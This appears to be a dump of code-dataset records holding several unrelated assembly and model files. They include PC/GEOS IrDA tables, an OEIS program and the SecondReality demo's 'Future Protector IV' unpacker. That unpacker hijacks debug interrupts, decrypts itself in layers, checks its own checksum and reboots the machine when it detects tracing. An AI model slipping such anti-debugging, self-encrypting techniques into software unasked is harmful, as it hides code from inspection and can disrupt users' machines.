37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
other.7z/SFC.7z/SFC/ソースデータ/srd13-SFCマリオコレクション/export/mario-z/linkp/mario_n1/mn_hp_smsub1.asm
prismotizm/gigaleak
0
81457
Name: mn_hp_smsub1.asm Type: file Size: 109110 Last-Modified: '1993-08-24T11:35:00Z' SHA-1: 88F0B74FD86A2F5C2354E96026D2248DA06342F9 Description: null
example/Hello_win64.asm
Hadname/exec-in-cmd
2
102347
;------------------------------------------------------------------- ; Assemble by pressing f12 (Automatically) ; nasm -f win64 Hello_win64.asm -o out/Hello_win64.obj ; ; Link by gcc (Manually) ; cd out & gcc Hello_win64.obj -o Hello_win64.exe & Hello_win64.exe ;-------------------------------------------------------------------- extern printf global main section .data msg db "Hello world!" section .text main: mov rcx, msg sub rsp, 32 call printf add rsp, 32 ret
alloy4fun_models/trainstlt/models/3/wjBhA3PcfLfCNcCWE.als
Kaixi26/org.alloytools.alloy
0
2818
<gh_stars>0 open main pred idwjBhA3PcfLfCNcCWE_prop4 { always all t1,t2:Train | t1.pos!=t2.pos } pred __repair { idwjBhA3PcfLfCNcCWE_prop4 } check __repair { idwjBhA3PcfLfCNcCWE_prop4 <=> prop4o }
source/jni/u2/fcp/unpack.asm
Falken42/SecondReality
9
244013
<reponame>Falken42/SecondReality<filename>source/jni/u2/fcp/unpack.asm<gh_stars>1-10 NOJUMPS calccrc MACRO start,end local l1 mov cx,OFFSET end-OFFSET start mov si,OFFSET start l1: add dl,cs:[si] adc dh,0 rol dx,1 inc si loop l1 ENDM uncryptxor MACRO beg,key local l1 mov bx,OFFSET beg mov ax,key mov cx,(OFFSET _unpack_endcrypt-OFFSET beg)/2 l1: xor ds:[bx],ax add bx,2 dec cx jnz l1 ENDM uncryptadd MACRO beg,key ;actually sub, uncrypts add-crypting local l1 mov bx,OFFSET beg mov ax,key mov cx,(OFFSET _unpack_endcrypt-OFFSET beg)/2 l1: sub ds:[bx],ax add bx,2 dec cx jnz l1 ENDM unp_text SEGMENT para public 'CODE' ASSUME cs:unp_text PUBLIC _unpack_start,_unpack_end PUBLIC _unpack_data,_unpack_dataend,_unpack_data2,_unpack_code PUBLIC _unpack_stack0,_unpack_stack1 PUBLIC _unpack_crc0,_unpack_crc1 PUBLIC _unpack_crypt1 ;add 5f27h - INC PUBLIC _unpack_crypt2 ;xor 4493h - INC PUBLIC _unpack_crypt3 ;add 0073h - INC PUBLIC _unpack_crypt4 ;xor 4536h - none PUBLIC _unpack_crypt10 ;xor 0666h - none PUBLIC _unpack_crypt11 ;add 0656h - DEC PUBLIC _unpack_crypt12 ;xor 0466h - DEC PUBLIC _unpack_crypt13 ;add 0663h - none PUBLIC _unpack_crypt14 ;add DX - none PUBLIC _unpack_crypt15 ;xor 5cach - none PUBLIC _unpack_crypt16 ;add 3fach - INC PUBLIC _unpack_endcrypt _unpack_start LABEL BYTE db 'FCP/IV' ;Future Protector IV _unpack_code LABEL BYTE startup PROC NEAR mov sp,OFFSET _unpack_stack1 io21data LABEL BYTE ret pntds2 LABEL WORd jmp cs:[farjump+2] startup ENDP int_iret PROC FAR iret int_iret ENDP ALIGN 2 _unpack_stack0 LABEL BYTE dw 50 dup(5555h) _unpack_stack1 LABEL BYTE dw OFFSET step1 dw 0 ;popped by step 1 => DS dw OFFSET step2 dw OFFSET step3 dw OFFSEt step4 stck1: dw OFFSET stepx1 ;the cracker blew it :-) dw 0fff0h,0000h disk0 dw 0 disk1 dw 0 vram dw 01234h hboottxt db '.;*',13,0 pntds dw 0 _unpack_crc0 LABEL BYTE .386P step1 PROC NEAR in al,21h mov cs:io21data,al mov al,255 out 21h,al cli mov cs:pntds,ds pop ds cld ;disk detect mov ah,08h mov dl,128 mov dh,0 int 13h cmp dh,0 je jjj1 mov cs:disk0,cx mov cs:disk1,dx jjj1: ;video detect mov ah,0fh int 10h cmp al,7 je ismda mov cs:vram,0800h+1234h ismda: add cs:vram,0b000h-01234h ;processor detect, at return: BP=0=real BP=1=protected mode push sp ; 86/186 will push SP-2; pop ax ; 286/386 will push SP. cmp ax, sp jz not86 ; If equal, SP was pushed ;8086/80186 noprot: mov bp,0 ret not86: smsw cx ; Protected? Machine status -> CX ror cx,1 ; Protection bit -> carry flag jnc noprot ; Real mode if no carry mov bp,1 ret step1 ENDP .8086 step3 PROC NEAR ;DS=CS now (in step 2) ;uncode crap mov byte ptr cs:int1code,40h ;INC AX int 3 ;clc set at step2's end uncryptadd _unpack_crypt1,5f27h ret step3 ENDP ints PROC FAR ;SingleStep/DEBUG int_01: stc int_03: push bp mov bp,sp jnc int2 push bx mov bx,ss:[bp+2] ;ip cmp byte ptr cs:[bx],49h ;inc cx jne int1 int1code: inc bx int1: pop bx int3: pop bp iret int2: xor ss:[bp+6],256 mov bp,cs:stck1to mov word ptr cs:[stck1],bp jmp int3 ints000: ints ENDP _unpack_crc1 LABEL BYTE itable LABEL WORD itablelen equ 4 dw OFFSET int_iret,0f000h ;int 0 dw OFFSET int_01,0f000h ;int 1 dw OFFSET int_iret,0f000h ;int 2 dw OFFSET int_03,0f000h ;int 3 ;Stack contents on ints: ; [bp+6]: flags ; [bp+4]: cs ; [bp+2]: ip ; [bp+0]: bp _startzeroing LABEL BYTE step2 PROC NEAR ;WARNING! ROUTINE OVERWRITTEN BY INNER STACK mov cs:hboottxt[0],'b' ;set interrupts mov bx,'FG' mov si,OFFSET itable xor di,di mov cx,itablelen mov dx,'JM' mov cs:hboottxt[1],'C' st2a: segcs lodsw xchg ds:[di],ax mov cs:[si-2],ax mov ax,cs xchg ds:[di+2],ax mov cs:[si],ax add si,2 add di,4 loop st2a ;carry=0 for di won't rotate mov di,dx ;='JM' mov dx,OFFSET hboottxt mov ax,cs mov ds,ax mov si,bx ;='FG' ;if this enabled, ICE will reboot mov ax,0911h ret step2 ENDP stepx1 PROC NEAR mov ax,0f000h retf ;reboots stepx1 ENDP _unpack_crypt1 LABEL BYTE step4 PROC NEAR ;DS=CS mov ax,cs:pntds mov cs:pntds2,ax uncryptxor _unpack_crypt2,4493h _unpack_crypt2 LABEL BYTE uncryptadd _unpack_crypt3,0073h _unpack_crypt3 LABEL BYTE jmp stp4o stck1to dw OFFSET step5 hboottxt2 db 'Bc*',13,0 stp4o: sub ax,ax mov si,'FG' mov di,'JM' mov ax,0911h mov dx,OFFSET hboottxt2 clc int 3 uncryptxor _unpack_crypt4,4536h ret ;goes to step5 step4 ENDP _unpack_crypt4 LABEL BYTE innerstack LABEL BYTE dw OFFSET stepx1 step5 PROC NEAR ;enter inner stack mov sp,OFFSET innerstack uncryptxor _unpack_crypt10,0666h _unpack_crypt10 LABEL BYTE i1c0: mov dx,0656h sub ax,ax mov es,ax mov ax,es:[6] mov bx,cs cmp ax,bx je i1c1 mov word ptr cs:[i1c0+1],0CA3Fh mov dx,3FC1H i1c1: cmp word ptr es:[4],OFFSET int_01 je i1c2 mov word ptr cs:[i1c0+1],0CA3Fh mov dx,3CF2H i1c2: mov byte ptr cs:int1code,48h ;DEC AX sub ax,ax int 3 uncryptadd _unpack_crypt11,dx _unpack_crypt11 LABEL BYTE uncryptxor _unpack_crypt12,0466h _unpack_crypt12 LABEL BYTE mov byte ptr cs:int1code,40h ;INC AX sub ax,ax int 3 uncryptadd _unpack_crypt13,0663h _unpack_crypt13 LABEL BYTE ;calc checksum of exe start xor dx,dx mov byte ptr cs:int1code,43h ;INC BX calccrc _unpack_crc0,_unpack_crc1 uncryptadd _unpack_crypt14,0 ;dx _unpack_crypt14 LABEL BYTE uncryptxor _unpack_crypt15,5CACh _unpack_crypt15 LABEL BYTE mov byte ptr cs:int1code,40h ;INC AX sub ax,ax int 3 uncryptadd _unpack_crypt16,3FACh _unpack_crypt16 LABEL BYTE mov word ptr cs:innerstack,OFFSET execute sub ax,ax int 3 ret step5 ENDP ALIGN 2 execute PROC NEAR ;unpack data mov dx,cs:pntds2 add dx,10h xor si,si xor di,di cmp cs:mcrcon,0 je exec11 ;calc machine crc mov ax,0ff00h mov ds,ax mov bx,0 mov cx,1024 mcrc1: add si,ds:[bx] add di,ds:[bx+2] rol si,1 add bx,4 loop mcrc1 add si,cs:disk0 add di,cs:disk1 exec11: add si,cs:regcs add di,cs:regip add si,cs:regsp add di,cs:regss add si,cs:regkey add di,cs:regkey mov cx,cs:regcs0 exec1: mov ds,dx sub ds:[0],si sub ds:[2],di xor si,5354h xor di,1525h sub ds:[4],si sub ds:[6],di add si,1234h ror si,1 add di,4321h rol di,1 sub ds:[8],si sub ds:[10],di xor si,5354h xor di,1525h sub ds:[12],si sub ds:[14],di add si,1234h ror si,1 add di,4321h rol di,1 inc dx add si,ds:[0] add di,ds:[8] add si,ds:[2] add di,ds:[10] add si,ds:[4] add di,ds:[12] add si,ds:[6] add di,ds:[14] loop exec1 mov bp,OFFSET errormsg1 cmp si,cs:keychk0 jne error cmp di,cs:keychk1 jne error cld _endzeroing LABEL BYTE ;may overflow a byte, but who cares mov dx,cs:pntds2 mov ax,cs mov es,ax mov cx,(OFFSET _endzeroing-OFFSET _startzeroing+1)/2 mov di,OFFSET _startzeroing mov ax,'..' rep stosw call resetints mov al,cs:io21data out 21h,al mov ax,cs mov es,ax mov cx,OFFSET _startzeroing-OFFSET _unpack_code mov di,OFFSET _unpack_code mov al,'.' rep stosb ;load stack and cs:ip for the actual program and run it. mov ds,dx mov es,dx mov bx,cs mov cx,cs:regcs0 mov ax,cs:regss add ax,bx sub ax,cx mov ss,ax mov sp,cs:regsp add cs:regcs,bx sub cs:regcs,cx push cs:regcs push cs:regip mov cs:regcs,ax mov cs:regip,ax mov cs:regss,ax mov cs:regcs0,ax mov cs:keychk1,ax mov cs:regkey,ax sti jmp endprg2 _endzeroing2 LABEL BYTE error: ;destroy and exit with error at OFFSET BP cld mov dx,cs:pntds2 mov ax,cs mov es,ax mov cx,(OFFSET _endzeroing2-OFFSET _startzeroing+1)/2 mov di,OFFSET _startzeroing mov ax,'..' rep stosw call resetints mov al,cs:io21data out 21h,al mov ax,cs mov es,ax mov di,OFFSET _unpack_code mov cx,OFFSET _startzeroing-OFFSET _unpack_code mov al,'.' rep stosb mov cs:regcs,ax mov cs:regip,ax mov cs:regss,ax mov cs:regcs0,ax mov cs:keychk1,ax mov cs:regkey,ax mov sp,OFFSET _unpack_data sti jmp endprg1 execute ENDP resetints PROC NEAR ;reset interrupts xor ax,ax mov es,ax mov si,OFFSET itable xor di,di mov cx,itablelen*2 st20a: segcs lodsw stosw loop st20a ret resetints ENDP ALIGN 2 _unpack_data LABEL BYTE farjump LABEL DWORD regcs dw 0 regip dw 0 regss dw 0 regsp dw 0 regcs0 dw 0 errormsg1 db 'File corrupted!$' _unpack_data2 LABEL BYTE regkey dw 0 mcrcon dw 0 ;1=machine crc enabled keychk0 dw 0 keychk1 dw 0 _unpack_dataend LABEL BYTE ALIGN 2 endprg1: ;**************** mov dx,bp mov ax,cs mov ds,ax mov ah,9h int 21h mov ax,4c03h int 21h endprg2: ;**************** retf ALIGN 2 _unpack_endcrypt LABEL BYTE db 000h,0fch _unpack_end LABEL BYTE unp_text ENDS END
programs/oeis/112/A112714.asm
karttu/loda
0
166108
; A112714: Numbers of the form k*2^m-1 with k<2^m and k odd. ; 1,3,7,11,15,23,31,39,47,55,63,79,95,111,127,143,159,175,191,207,223,239,255,287,319,351,383,415,447,479,511,543,575,607,639,671,703,735,767,799,831,863,895,927,959,991,1023,1087,1151,1215,1279,1343,1407,1471,1535,1599,1663,1727,1791,1855,1919,1983,2047,2111,2175,2239,2303,2367,2431,2495,2559,2623,2687,2751,2815,2879,2943,3007,3071,3135,3199,3263,3327,3391,3455,3519,3583,3647,3711,3775,3839,3903,3967,4031,4095,4223,4351,4479,4607,4735,4863,4991,5119,5247,5375,5503,5631,5759,5887,6015,6143,6271,6399,6527,6655,6783,6911,7039,7167,7295,7423,7551,7679,7807,7935,8063,8191,8319,8447,8575,8703,8831,8959,9087,9215,9343,9471,9599,9727,9855,9983,10111,10239,10367,10495,10623,10751,10879,11007,11135,11263,11391,11519,11647,11775,11903,12031,12159,12287,12415,12543,12671,12799,12927,13055,13183,13311,13439,13567,13695,13823,13951,14079,14207,14335,14463,14591,14719,14847,14975,15103,15231,15359,15487,15615,15743,15871,15999,16127,16255,16383,16639,16895,17151,17407,17663,17919,18175,18431,18687,18943,19199,19455,19711,19967,20223,20479,20735,20991,21247,21503,21759,22015,22271,22527,22783,23039,23295,23551,23807,24063,24319,24575,24831,25087,25343,25599,25855,26111,26367,26623,26879,27135,27391,27647,27903,28159,28415,28671,28927,29183,29439,29695,29951,30207,30463,30719,30975,31231,31487 mov $4,$0 add $4,1 mov $5,$0 lpb $4,1 mov $0,$5 sub $4,1 sub $0,$4 mul $0,2 mov $2,$0 mov $3,1 lpb $2,1 div $2,2 trn $2,1 mul $3,2 lpe add $1,$3 lpe
Driver/Socket/IRLAP/irlapTables.asm
steakknife/pcgeos
504
169492
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1994 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: irlapTables.asm AUTHOR: <NAME>, May 10, 1994 REVISION HISTORY: Name Date Description ---- ---- ----------- CK 5/10/94 Initial revision DESCRIPTION: Event handling tables in IRLAP. Each state in IRLAP has 2 tables, one lookup and one jump. The lookup table consists of "event id", which is a word. The jump table consists of a jump addr. (?!) Lookup tables consists of virtual far pointers to the routines. $Id: irlapTables.asm,v 1.1 97/04/18 11:56:58 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;; table named by "state???LookupTable" or "state???JumpTable" ;; where ??? = state name IrlapCommonCode segment resource ;; **************************************************************************** ;; ;; One checks whether an event is applicable for a given state by looking up ;; this table. ;; ;; request, response, busy, expire ;; ILE_REQUEST, ILE_RESPONSE, ILE_LOCAL_BUSY, ILE_TIME_EXPIRE ; EventCode.high ;; IRV_????, IRSV_????, ILBV_????, ITEV_???? ; EventCode.low ;; ;; **************************************************************************** IrlapStateLocalEventTable byte \ mask IRV_DISCOVERY or mask IRV_CONNECT or mask IRV_SNIFF or mask IRV_DISCONNECT or mask IRV_UNIT_DATA or mask IRV_DATA, 0, mask ILBV_CLEARED, 0, ; IMS_NDM 0, 0, 0, mask ITEV_SLOT, ; IMS_QUERY 0, 0, 0, mask ITEV_QUERY, ; IMS_REPLY mask IRV_DISCONNECT, mask IRSV_CONNECT, 0, 0, ; IMS_CONN 0, 0, 0, mask ITEV_F, ; IMS_SETUP mask IRV_DATA or mask IRV_DISCONNECT or mask IRV_RESET \ or mask IRV_UNIT_DATA, 0, mask ILBV_DETECTED or \ mask ILBV_SXCHG_REQ, mask ITEV_P, ; IMS_XMIT_P 0, 0, mask ILBV_DETECTED, mask ITEV_F, ; IMS_RECV_P mask IRV_RESET or mask IRV_DISCONNECT, 0, 0, 0, ; IMS_RESET_WAIT_P mask IRV_DISCONNECT, mask IRSV_RESET, 0, 0, ; IMS_RESET_CHECK_P 0, 0, 0, mask ITEV_F, ; IMS_RESET_P mask IRV_DATA or mask IRV_DISCONNECT, 0, mask \ ILBV_CLEARED, mask ITEV_P, ; IMS_BUSY_P 0, 0, mask ILBV_CLEARED, mask ITEV_F, ; IMS_BUST_WAIT_P 0, 0, 0, mask ITEV_F, ; IMS_PCLOSE mask IRV_DISCONNECT, mask IRSV_SXCHG, 0, mask ITEV_P, ; IMS_XCHG_P 0, 0, 0, mask ITEV_F, ; IMS_XWAIT_P mask IRV_DATA or mask IRV_DISCONNECT or mask IRV_RESET \ or mask IRV_UNIT_DATA, 0, mask ILBV_DETECTED or \ mask ILBV_SXCHG_REQ, 0, ; IMS_XMIT_S 0, 0, mask ILBV_DETECTED, mask ITEV_WD, ; IMS_RECV_S 0, 0, 0, 0, ; IMS_ERROR_S mask IRV_DISCONNECT, mask IRSV_RESET, 0, 0, ; IMS_RESET_CHECK_S 0, 0, 0, mask ITEV_WD, ; IMS_RESET_S mask IRV_DATA, 0, mask ILBV_CLEARED, 0, ; IMS_BUSY_S 0, 0, mask ILBV_CLEARED, mask ITEV_WD, ; IMS_BUSY_WAIT_S 0, 0, 0, mask ITEV_WD, ; IMS_SCLOSE 0, 0, 0, 0, ; IMS_RXWAIT_S 0, 0, 0, mask ITEV_F, ; IMS_XWAIT_S 0, 0, 0, mask ITEV_SENSE, ; IMS_POUT 0, 0, 0, mask ITEV_SNIFF, ; IMS_SNIFF 0, 0, 0, mask ITEV_SLEEP, ; IMS_SLEEP 0, 0, 0, 0, ; IMS_SCONN 0, 0, 0, mask ITEV_P, ; IMS_SSETUP mask IRV_DATA, mask IRSV_STOP_FLUSH, 0, 0 ; IMS_FLUSH_DATA .assert ((($-IrlapStateLocalEventTable)/4) eq IrlapMachineState) ;; 26 x 4 = 108 bytes DefEvent macro id dw id COUNTER=COUNTER+1 endm ; **************************************************************************** ; ; EVENT CODE TABLE ; ; **************************************************************************** ;; ;; Format of this table: ;; ;-------------------------------------------------------------------------- ;; ; *state* name ;; ;-------------------------------------------------------------------------- ;; *state*_STATE_OFFSET equ COUNTER ;; DefEvent <ILE_??? shl 8 or mask ???> ;; ... local events .... ;; ;; *state*_NUM_LOCAL=COUNTER ;; DefEvent <IEE_??? shl 8 or ???> ;; ... external events .... ;; ;; *state*_NUM_LOCAL = *state*_STATE_OFFSET - *state*_NUM_LOCAL ;; COUNTER=0 ;; the local will always go first IrlapStateLookupTable label word ;------------------------------------------------------------------------------ ; NDM ;------------------------------------------------------------------------------ NDM_STATE_OFFSET equ COUNTER DefEvent <ILE_REQUEST shl 8 or mask IRV_DISCOVERY> DefEvent <ILE_REQUEST shl 8 or mask IRV_CONNECT> DefEvent <ILE_REQUEST shl 8 or mask IRV_SNIFF> DefEvent <ILE_REQUEST shl 8 or mask IRV_DISCONNECT> DefEvent <ILE_REQUEST shl 8 or mask IRV_UNIT_DATA> DefEvent <ILE_REQUEST shl 8 or mask IRV_DATA> DefEvent <ILE_LOCAL_BUSY shl 8 or mask ILBV_CLEARED> NDM_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_CMD shl 8 or IUC_XID_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_XID_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_SNRM_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_UI_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_UI_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_TEST_CMD or mask IUCF_PFBIT> NDM_NUM_LOCAL = NDM_NUM_LOCAL - NDM_STATE_OFFSET ;------------------------------------------------------------------------------ ; QUERY ;------------------------------------------------------------------------------ QUERY_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_SLOT> QUERY_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_RSP shl 8 or IUR_XID_RSP or mask IUCF_PFBIT> QUERY_NUM_LOCAL = QUERY_NUM_LOCAL - QUERY_STATE_OFFSET ;------------------------------------------------------------------------------ ; REPLY ;------------------------------------------------------------------------------ REPLY_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_QUERY> REPLY_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_CMD shl 8 or IUC_XID_CMD or mask IUCF_PFBIT> REPLY_NUM_LOCAL = REPLY_NUM_LOCAL - REPLY_STATE_OFFSET ;------------------------------------------------------------------------------ ; CONN ;------------------------------------------------------------------------------ CONN_STATE_OFFSET equ COUNTER DefEvent <ILE_RESPONSE shl 8 or mask IRSV_CONNECT> DefEvent <ILE_REQUEST shl 8 or mask IRV_DISCONNECT> CONN_NUM_LOCAL=COUNTER CONN_NUM_LOCAL = CONN_NUM_LOCAL - CONN_STATE_OFFSET ;------------------------------------------------------------------------------ ; SETUP ;------------------------------------------------------------------------------ SETUP_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_F> SETUP_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_CMD shl 8 or IUC_SNRM_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_UA_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_DM_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_DM_RSP> DefEvent <IEE_RECV_CMD shl 8 or IUC_DISC_CMD or mask IUCF_PFBIT> DefEvent <IEE_RECV_CMD shl 8 or IUC_DISC_CMD> ;; The last 2 kinds of events have undefined PF bit, so both cases are ;; provided. SETUP_NUM_LOCAL = SETUP_NUM_LOCAL - SETUP_STATE_OFFSET ;------------------------------------------------------------------------------ ; XMIT_P ;------------------------------------------------------------------------------ XMIT_P_STATE_OFFSET equ COUNTER DefEvent <ILE_REQUEST shl 8 or mask IRV_DATA> DefEvent <ILE_REQUEST shl 8 or mask IRV_RESET> DefEvent <ILE_REQUEST shl 8 or mask IRV_DISCONNECT> DefEvent <ILE_LOCAL_BUSY shl 8 or mask ILBV_DETECTED> DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_P> DefEvent <ILE_REQUEST shl 8 or mask IRV_UNIT_DATA> DefEvent <ILE_LOCAL_BUSY shl 8 or mask ILBV_SXCHG_REQ> ; s xchg request XMIT_P_NUM_LOCAL=COUNTER XMIT_P_NUM_LOCAL = XMIT_P_NUM_LOCAL - XMIT_P_STATE_OFFSET ;------------------------------------------------------------------------------ ; RECV_P ;------------------------------------------------------------------------------ RECV_P_STATE_OFFSET equ COUNTER DefEvent <ILE_LOCAL_BUSY shl 8 or mask ILBV_DETECTED> DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_F> RECV_P_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_RSP shl 8> ; no poll bit I frame DefEvent <IEE_RECV_RSP shl 8 or mask IICF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_UI_RSP> ; UI no poll DefEvent <IEE_RECV_RSP shl 8 or IUR_UI_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_XID_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or ISR_RR_RSP or mask ISCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or ISR_REJ_RSP or mask ISCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or ISR_SREJ_RSP or mask ISCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or ISR_RNR_RSP or mask ISCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_FRMR_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_RD_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_RNRM_RSP or mask IUCF_PFBIT> DefEvent <(IEE_RECV_RSP or mask IEI_SEQINVALID) shl 8> DefEvent <IEE_RECV_RSP shl 8 or IUR_RXCHG or mask IUCF_PFBIT> RECV_P_NUM_LOCAL = RECV_P_NUM_LOCAL - RECV_P_STATE_OFFSET ;------------------------------------------------------------------------------ ; RESET_WAIT_P ;------------------------------------------------------------------------------ RESET_WAIT_P_STATE_OFFSET equ COUNTER DefEvent <ILE_REQUEST shl 8 or mask IRV_RESET> DefEvent <ILE_REQUEST shl 8 or mask IRV_DISCONNECT> RESET_WAIT_P_NUM_LOCAL=COUNTER RESET_WAIT_P_NUM_LOCAL = RESET_WAIT_P_NUM_LOCAL - RESET_WAIT_P_STATE_OFFSET ;------------------------------------------------------------------------------ ; RESET_CHECK_P ;------------------------------------------------------------------------------ RESET_CHECK_P_STATE_OFFSET equ COUNTER DefEvent <ILE_RESPONSE shl 8 or mask IRSV_RESET> DefEvent <ILE_REQUEST shl 8 or mask IRV_DISCONNECT> RESET_CHECK_P_NUM_LOCAL=COUNTER RESET_CHECK_P_NUM_LOCAL = RESET_CHECK_P_NUM_LOCAL - RESET_CHECK_P_STATE_OFFSET ;------------------------------------------------------------------------------ ; RESET_P ;------------------------------------------------------------------------------ RESET_P_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_F> RESET_P_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_RSP shl 8 or IUR_UA_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_DM_RSP or mask IUCF_PFBIT> RESET_P_NUM_LOCAL = RESET_P_NUM_LOCAL - RESET_P_STATE_OFFSET ;------------------------------------------------------------------------------ ; BUSY_P ;------------------------------------------------------------------------------ BUSY_P_STATE_OFFSET equ COUNTER DefEvent <ILE_REQUEST shl 8 or mask IRV_DATA> DefEvent <ILE_REQUEST shl 8 or mask IRV_DISCONNECT> DefEvent <ILE_LOCAL_BUSY shl 8 or mask ILBV_CLEARED> DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_P> BUSY_P_NUM_LOCAL=COUNTER BUSY_P_NUM_LOCAL = BUSY_P_NUM_LOCAL - BUSY_P_STATE_OFFSET ;------------------------------------------------------------------------------ ; BUSY_WAIT_P ;------------------------------------------------------------------------------ BUSY_WAIT_P_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_F> DefEvent <ILE_LOCAL_BUSY shl 8 or mask ILBV_CLEARED> BUSY_WAIT_P_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_RSP shl 8> ; no poll bit I frame DefEvent <IEE_RECV_RSP shl 8 or mask IICF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_UI_RSP> ; UI no poll DefEvent <IEE_RECV_RSP shl 8 or IUR_UI_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_XID_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or ISR_RR_RSP or mask ISCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or ISR_REJ_RSP or mask ISCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or ISR_RNR_RSP or mask ISCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_RD_RSP or mask IUCF_PFBIT> BUSY_WAIT_P_NUM_LOCAL = BUSY_WAIT_P_NUM_LOCAL - BUSY_WAIT_P_STATE_OFFSET ;------------------------------------------------------------------------------ ; PCLOSE ;------------------------------------------------------------------------------ PCLOSE_STATE_OFFSET equ COUNTER DefEvent <ILE_TIME_EXPIRE shl 8 or mask ITEV_F> PCLOSE_NUM_LOCAL=COUNTER DefEvent <IEE_RECV_RSP shl 8 or IUR_UA_RSP or mask IUCF_PFBIT> DefEvent <IEE_RECV_RSP shl 8 or IUR_DM_RSP or mask 